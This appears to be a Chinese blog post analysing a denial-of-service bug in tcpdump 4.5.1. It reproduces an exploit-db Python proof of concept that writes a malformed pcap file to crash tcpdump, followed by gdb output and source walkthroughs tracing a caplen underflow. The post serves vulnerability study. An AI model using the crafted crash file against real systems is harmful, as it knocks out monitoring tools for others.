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2018-12-25
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3.4k 字
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16 分钟
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TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
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<h2 id="Tcpdump介绍"><a href="#Tcpdump介绍" class="headerlink" title="Tcpdump介绍"></a>Tcpdump介绍</h2><ol>
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<li>tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap.</li>
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<li>tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。</li>
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<li>也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。</li>
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</ol>
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<h2 id="分析环境"><a href="#分析环境" class="headerlink" title="分析环境"></a>分析环境</h2><ul>
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<li>Ubuntu 16.04.4 LTS i686</li>
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<li>tcpdump 4.5.1</li>
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<li>gdb with peda</li>
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</ul>
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<h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。</p>
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<h3 id="编译安装tcpdump"><a href="#编译安装tcpdump" class="headerlink" title="编译安装tcpdump"></a>编译安装tcpdump</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">1. # apt-get install libpcap-dev</span><br><span class="line">2. # dpkg -l libpcap-dev</span><br><span class="line">3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span><br><span class="line">4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span><br><span class="line">5. # cd tcpdump-4.5.1/</span><br><span class="line">6. # ./configure</span><br><span class="line">7. # make</span><br><span class="line">8. # make install</span><br><span class="line">9. # tcpdump –-version</span><br><span class="line"> tcpdump version 4.5.1</span><br><span class="line"> libpcap version 1.7.4</span><br></pre></td></tr></table></figure>
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<h3 id="生成payload（来自exploit-db-payload）"><a href="#生成payload（来自exploit-db-payload）" class="headerlink" title="生成payload（来自exploit-db payload）"></a>生成payload（来自exploit-db payload）</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"># Exploit Title: tcpdump 4.5.1 Access Violation Crash</span><br><span class="line"># Date: 31st May 2016</span><br><span class="line"># Exploit Author: David Silveiro</span><br><span class="line"># Vendor Homepage: http://www.tcpdump.org</span><br><span class="line"># Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz</span><br><span class="line"># Version: 4.5.1</span><br><span class="line"># Tested on: Ubuntu 14 LTS</span><br><span class="line">from subprocess import call</span><br><span class="line">from shlex import split</span><br><span class="line">from time import sleep</span><br><span class="line"></span><br><span class="line">def crash():</span><br><span class="line"> command = 'tcpdump -r crash'</span><br><span class="line"> buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'</span><br><span class="line"> buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'</span><br><span class="line"> buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'</span><br><span class="line"> buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'</span><br><span class="line"> buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"</span><br><span class="line"> buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"</span><br><span class="line"> buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'</span><br><span class="line"> with open('crash', 'w+b') as file:</span><br><span class="line"> file.write(buffer)</span><br><span class="line"> try:</span><br><span class="line"> call(split(command))</span><br><span class="line"> print("Exploit successful! ")</span><br><span class="line"> except:</span><br><span class="line"> print("Error: Something has gone wrong!")</span><br><span class="line">def main():</span><br><span class="line"> print("Author: David Silveiro ")</span><br><span class="line"> print(" tcpdump version 4.5.1 Access Violation Crash ")</span><br><span class="line"> sleep(2)</span><br><span class="line"> crash()</span><br><span class="line">if __name__ == "__main__":</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure>
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<h2 id="崩溃分析"><a href="#崩溃分析" class="headerlink" title="崩溃分析"></a>崩溃分析</h2><h3 id="pcap包格式"><a href="#pcap包格式" class="headerlink" title="pcap包格式"></a>pcap包格式</h3><p>首先来分析一下pcap包的格式，首先是pcap文件头的内容，在.h有所定义，这里将结构体以及对应变量含义都列出来。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">struct pcap_file_header {</span><br><span class="line"> bpf_u_int32 magic;</span><br><span class="line"> u_short version_major;</span><br><span class="line"> u_short version_minor;</span><br><span class="line"> bpf_int32 thiszone; /* gmt to local correction */</span><br><span class="line"> bpf_u_int32 sigfigs; /* accuracy of timestamps */</span><br><span class="line"> bpf_u_int32 snaplen; /* max length saved portion of each pkt */</span><br><span class="line"> bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */</span><br><span class="line">};</span><br></pre></td></tr></table></figure></p>
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<p>看一下各字段的含义：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"> magic： 4字节 pcap文件标识 目前为“d4 c3 b2 a1”</span><br><span class="line"> major： 2字节 主版本号 #define PCAP_VERSION_MAJOR 2</span><br><span class="line"> minor： 2字节 次版本号 #define PCAP_VERSION_MINOR 4</span><br><span class="line"> thiszone：4字节 时区修正 并未使用，目前全为0</span><br><span class="line"> sigfigs： 4字节 精确时间戳 并未使用，目前全为0</span><br><span class="line"> snaplen： 4字节 抓包最大长度 如果要抓全，设为0x0000ffff（65535），</span><br><span class="line"> tcpdump -s 0就是设置这个参数，缺省为68字节</span><br><span class="line"> linktype：4字节 链路类型 一般都是1：ethernet</span><br><span class="line"></span><br><span class="line">struct pcap_pkthdr {</span><br><span class="line"> struct timeval ts; /* time stamp */</span><br><span class="line"> bpf_u_int32 caplen; /* length of portion present */</span><br><span class="line"> bpf_u_int32 len; /* length this packet (off wire) */</span><br><span class="line">};</span><br><span class="line">struct timeval {</span><br><span class="line"> long tv_sec; /* seconds (XXX should be time_t) */</span><br><span class="line"> suseconds_t tv_usec; /* and microseconds */</span><br><span class="line">};</span><br><span class="line"> ts： 8字节 抓包时间 4字节表示秒数，4字节表示微秒数</span><br><span class="line"> caplen：4字节 保存下来的包长度（最多是snaplen，比如68字节）</span><br><span class="line"> len： 4字节 数据包的真实长度，如果文件中保存的不是完整数据包，可能比caplen大</span><br></pre></td></tr></table></figure></p>
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||
<p>其中len变量是值得关注的，因为在crash文件中，对应len变量的值为00 3C 9C 37<br>这是一个很大的值，读取出来就是379C3C00，数非常大，实际上在wireshark中打开这个crash文件，就会报错，会提示这个数据包的长度已经超过了范围，而换算出来的长度就是379C3C00，这是触发漏洞的关键。</p>
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<h3 id="gdb调试"><a href="#gdb调试" class="headerlink" title="gdb调试"></a>gdb调试</h3><p>首先通过gdb运行tcpdump，用-r参数打开poc生成的crash，tcp崩溃，到达漏洞触发位置<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">1. Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line">2. [----------------------------------registers-----------------------------------]</span><br><span class="line">3. EAX: 0x1</span><br><span class="line">4. EBX: 0x81e33bd --> 0x0</span><br><span class="line">5. ECX: 0x2e ('.')</span><br><span class="line">6. EDX: 0x0</span><br><span class="line">7. ESI: 0xbfffe201 ('.' <repeats 14 times>)</span><br><span class="line">8. EDI: 0xbfffe1db --> 0x30303000 ('')</span><br><span class="line">9. EBP: 0x10621</span><br><span class="line">10. ESP: 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line">11. EIP: 0x8053c6a (<hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1])</span><br><span class="line">12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)</span><br><span class="line">13. [-------------------------------------code-------------------------------------]</span><br><span class="line">14. 0x8053c5d <hex_and_ascii_print_with_offset+93>: je 0x8053d40 <hex_and_ascii_print_with_offset+320></span><br><span class="line">15. 0x8053c63 <hex_and_ascii_print_with_offset+99>: mov ebx,DWORD PTR [esp+0x18]</span><br><span class="line">16. 0x8053c67 <hex_and_ascii_print_with_offset+103>: sub esp,0x4</span><br><span class="line">17. => 0x8053c6a <hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1]</span><br><span class="line">18. 0x8053c6f <hex_and_ascii_print_with_offset+111>: movzx ecx,BYTE PTR [ebx+ebp*2]</span><br><span class="line">19. 0x8053c73 <hex_and_ascii_print_with_offset+115>: push edx</span><br><span class="line">20. 0x8053c74 <hex_and_ascii_print_with_offset+116>: mov ebx,edx</span><br><span class="line">21. 0x8053c76 <hex_and_ascii_print_with_offset+118>: mov DWORD PTR [esp+0x18],edx</span><br><span class="line">22. [------------------------------------stack-------------------------------------]</span><br><span class="line">23. 0000| 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line">24. 0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c</span><br><span class="line">25. 0008| 0xbfffe1b4 --> 0x1</span><br><span class="line">26. 0012| 0xbfffe1b8 --> 0x2f5967 ('gY/')</span><br><span class="line">27. 0016| 0xbfffe1bc --> 0x0</span><br><span class="line">28. 0020| 0xbfffe1c0 --> 0x0</span><br><span class="line">29. 0024| 0xbfffe1c4 --> 0x7ffffff9</span><br><span class="line">30. 0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0</span><br><span class="line">31. [------------------------------------------------------------------------------]</span><br><span class="line">32. Legend: code, data, rodata, value</span><br><span class="line">33. Stopped reason: SIGSEGV</span><br><span class="line">34. hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,</span><br><span class="line">35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span><br><span class="line">36. 91 s2 = *cp++;</span><br></pre></td></tr></table></figure></p>
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<p>从崩溃信息来看，出错位置为s2 = <em>cp++;崩溃原因为SIGSEGV，即进程执行了一段无效的内存引用或发生段错误。可以看到，问题出现在./print-ascii.c:91，而且此时指针读取[ebx+ebp</em>2+0x1]的内容，可能是越界读取造成的崩溃。<br>再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。<br>我们通过bt回溯一下调用情况。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1. gdb-peda$ bt</span><br><span class="line">2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,</span><br><span class="line">3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span><br><span class="line">4. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x81e33bd "", length=0xfffffff3) at ./print-ascii.c:127</span><br><span class="line">5. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xbfffe40c, p=<optimized out>) at ./print-802_15_4.c:180</span><br><span class="line">6. #3 0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001", h=0xbfffe40c, sp=0x81e33a8 "@\377")</span><br><span class="line">7. at ./tcpdump.c:1950</span><br><span class="line">8. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">9. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">10. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569</span><br><span class="line">11. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 <main>, argc=0x3, argv=0xbffff6c4, init=0x80b1230 <__libc_csu_init>,</span><br><span class="line">12. fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff6bc) at ../csu/libc-start.c:291</span><br><span class="line">13. #8 0x0804c245 in _start ()</span><br></pre></td></tr></table></figure></p>
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<p>函数调用流程<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pcap_loop</span><br><span class="line"> |----print_packet</span><br><span class="line"> |-----hex_and_ascii_print</span><br><span class="line"> |-------- hex_and_ascii_print_with_offset</span><br></pre></td></tr></table></figure></p>
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<p>由此可见，从main函数开始了一连串函数调用，git源码下来看看。<br>tcpdump.c找到pcap_loop调用<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">1. do {</span><br><span class="line">2. status = pcap_loop(pd, cnt, callback, pcap_userdata);</span><br><span class="line">3. if (WFileName == NULL) {</span><br><span class="line">4. /*</span><br><span class="line">5. * We're printing packets. Flush the printed output,</span><br><span class="line">6. * so it doesn't get intermingled with error output.</span><br><span class="line">7. */</span><br><span class="line">8. if (status == -2) {</span><br><span class="line">9. /*</span><br><span class="line">10. * We got interrupted, so perhaps we didn't</span><br><span class="line">11. * manage to finish a line we were printing.</span><br><span class="line">12. * Print an extra newline, just in case.</span><br><span class="line">13. */</span><br><span class="line">14. putchar('n');</span><br><span class="line">15. }</span><br><span class="line">16. (void)fflush(stdout);</span><br><span class="line">17. }</span><br></pre></td></tr></table></figure></p>
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<p>设置断点之后查看一下该函数的执行结果</p>
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<p>pcap_loop通过callback指向print_packet,来看一下它的源码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">1. static void</span><br><span class="line">2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)</span><br><span class="line">3. {</span><br><span class="line">4. struct print_info *print_info;</span><br><span class="line">5. u_int hdrlen;</span><br><span class="line">6. ++packets_captured;</span><br><span class="line">7. ++infodelay;</span><br><span class="line">8. ts_print(&h->ts);</span><br><span class="line">9. print_info = (struct print_info *)user;</span><br><span class="line">10. /*</span><br><span class="line">11. * Some printers want to check that they're not walking off the</span><br><span class="line">12. * end of the packet.</span><br><span class="line">13. * Rather than pass it all the way down, we set this global.</span><br><span class="line">14. */</span><br><span class="line">15. snapend = sp + h->caplen;</span><br><span class="line">16. if(print_info->ndo_type) {</span><br><span class="line">17. hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====</span><br><span class="line">18. } else {</span><br><span class="line">19. hdrlen = (*print_info->p.printer)(h, sp);</span><br><span class="line">20. }</span><br><span class="line">21. putchar('n');</span><br><span class="line">22. --infodelay;</span><br><span class="line">23. if (infoprint)</span><br><span class="line">24. info(0);}</span><br></pre></td></tr></table></figure></p>
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<p>同样设置断点看该函数是如何调用执行的</p>
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<p>这是我们可以根据call的信息，计算出调用的函数名</p>
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<p>其中(*print_info->p.ndo_printer)(print_info->ndo,h,sp)指向ieee802_15_4_if_print</p>
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<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">25. u_int</span><br><span class="line">26. ieee802_15_4_if_print(struct netdissect_options *ndo,</span><br><span class="line">27. const struct pcap_pkthdr *h, const u_char *p)</span><br><span class="line">28. {</span><br><span class="line">29. printf("address : %x\n",p);</span><br><span class="line">30. u_int caplen = h->caplen; //传入的caplen，赋值给无符号整形变量caplen,且该值为8</span><br><span class="line">31. int hdrlen;</span><br><span class="line">32. u_int16_t fc;</span><br><span class="line">33. u_int8_t seq;</span><br><span class="line">34. if (caplen < 3) { //不满足</span><br><span class="line">35. ND_PRINT((ndo, "[|802.15.4] %x", caplen));</span><br><span class="line">36. return caplen;</span><br><span class="line">37. }</span><br><span class="line">38. fc = EXTRACT_LE_16BITS(p);</span><br><span class="line">39. hdrlen = extract_header_length(fc);</span><br><span class="line">40. seq = EXTRACT_LE_8BITS(p + 2);</span><br><span class="line">41. p += 3;</span><br><span class="line">42. caplen -= 3;//此时caplen = 5</span><br><span class="line">43. ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));</span><br><span class="line">44. if (vflag)</span><br><span class="line">45. ND_PRINT((ndo,"seq %02x ", seq));</span><br><span class="line">46. if (hdrlen == -1) {</span><br><span class="line">47. ND_PRINT((ndo,"malformed! "));</span><br><span class="line">48. return caplen;</span><br><span class="line">49. }</span><br><span class="line">50. if (!vflag) {</span><br><span class="line">51. p+= hdrlen;</span><br><span class="line">52. caplen -= hdrlen;</span><br><span class="line">53. } else {</span><br><span class="line">54. u_int16_t panid = 0;</span><br><span class="line">55. switch ((fc >> 10) & 0x3) {</span><br><span class="line">56. case 0x00:</span><br><span class="line">57. ND_PRINT((ndo,"none "));</span><br><span class="line">58. break;</span><br><span class="line">59. case 0x01:</span><br><span class="line">60. ND_PRINT((ndo,"reserved destination addressing mode"));</span><br><span class="line">61. return 0;</span><br><span class="line">62. case 0x02:</span><br><span class="line">63. panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">64. p += 2;</span><br><span class="line">65. ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line">66. p += 2;</span><br><span class="line">67. break;</span><br><span class="line">68. case 0x03:</span><br><span class="line">69. panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">70. p += 2;</span><br><span class="line">71. ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));</span><br><span class="line">72. p += 8;</span><br><span class="line">73. break;</span><br><span class="line">74. }</span><br><span class="line">75. ND_PRINT((ndo,"< ");</span><br><span class="line">76. switch ((fc >> 14) & 0x3) {</span><br><span class="line">77. case 0x00:</span><br><span class="line">78. ND_PRINT((ndo,"none "));</span><br><span class="line">79. break;</span><br><span class="line">80. case 0x01:</span><br><span class="line">81. ND_PRINT((ndo,"reserved source addressing mode"));</span><br><span class="line">82. return 0;</span><br><span class="line">83. case 0x02:</span><br><span class="line">84. if (!(fc & (1 << 6))) {</span><br><span class="line">85. panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">86. p += 2;</span><br><span class="line">87. }</span><br><span class="line">88. ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line">89. p += 2;</span><br><span class="line">90. break;</span><br><span class="line">91. case 0x03:</span><br><span class="line">92. if (!(fc & (1 << 6))) {</span><br><span class="line">93. panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">94. p += 2;</span><br><span class="line">95. }</span><br><span class="line">96. ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));</span><br><span class="line">97. p += 8;</span><br><span class="line">98. break;</span><br><span class="line">99. }</span><br><span class="line">100. caplen -= hdrlen;</span><br><span class="line">101. }</span><br></pre></td></tr></table></figure>
|
||
<p>传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen，不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。<br>直接跟进函数，看看最后赋值情况</p>
|
||
<p>从源码和调试信息可以看到libpcap在处理不正常包时不严谨，导致包的头长度hdrlen竟然大于捕获包长度caplen，并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数，导致caplen==0xfffffff3过长。<br>继续跟进hex_and_asciii_print(ndo_default_print)</p>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">1. void</span><br><span class="line">2. hex_and_ascii_print(register const char *ident, register const u_char *cp,</span><br><span class="line">3. register u_int length)</span><br><span class="line">4. {</span><br><span class="line">5. hex_and_ascii_print_with_offset(ident, cp, length, 0);</span><br><span class="line">6. }</span><br><span class="line"></span><br><span class="line">其中length==0xfffffff3，继续执行</span><br><span class="line">1. void</span><br><span class="line">2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,</span><br><span class="line">3. register u_int oset)</span><br><span class="line">4. {</span><br><span class="line">5. register u_int i, s;</span><br><span class="line">6. register int nshorts;</span><br><span class="line">7.</span><br><span class="line">8. nshorts = (u_int) length / sizeof(u_short);</span><br><span class="line">9. i = 0;</span><br><span class="line">10. while (--nshorts >= 0) {</span><br><span class="line">11. if ((i++ % 8) == 0) {</span><br><span class="line">12. (void)printf("%s0x%04x: ", ident, oset);</span><br><span class="line">13. oset += HEXDUMP_BYTES_PER_LINE;</span><br><span class="line">14. }</span><br><span class="line">15. s = *cp++; <======= 抛出错误位置</span><br><span class="line">16. (void)printf(" %02x%02x", s, *cp++);</span><br><span class="line">17. }</span><br><span class="line">18. if (length & 1) {</span><br><span class="line">19. if ((i % 8) == 0)</span><br><span class="line">20. (void)printf("%s0x%04x: ", ident, oset);</span><br><span class="line">21. (void)printf(" %02x", *cp);</span><br><span class="line">22. }</span><br><span class="line">nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=7FFFFFF9</span><br></pre></td></tr></table></figure>
|
||
<p>但数据包数据没有这么长，导致了crash。</p>
|
||
<h3 id="内存分析"><a href="#内存分析" class="headerlink" title="内存分析"></a>内存分析</h3><p>仔细分析之后发现，通过len判断的这个长度并没有进行控制，如果是自己构造的一个超长len的数据包，则会连续读取到不可估计的值。<br>通过查看epx的值来看一下这个内存到底开辟到什么位置<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1. gdb-peda$ x/10000000x 0x81e33bd</span><br><span class="line">2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000</span><br><span class="line">3. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000</span><br><span class="line">4. 0x8203ffd: Cannot access memory at address 0x8204000</span><br></pre></td></tr></table></figure></p>
|
||
<p>可以看到，到达0x 8204000附近的时候，就是无法读取的无效地址了，那么初始值为0x 81e33bd，用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40，因为ebx+ebp*2+0x1一次读取两个字节，那么循环计数器就要除以2，最后结果为0x 10620。<br>来看一下到达拒绝服务位置读取的长度：EBX: 0x81e33bd –> 0x0；EBP: 0x10621；<br>EBP刚好为10621。正是不可读取内存空间的地址，因此造成拒绝服务。</p>
|
||
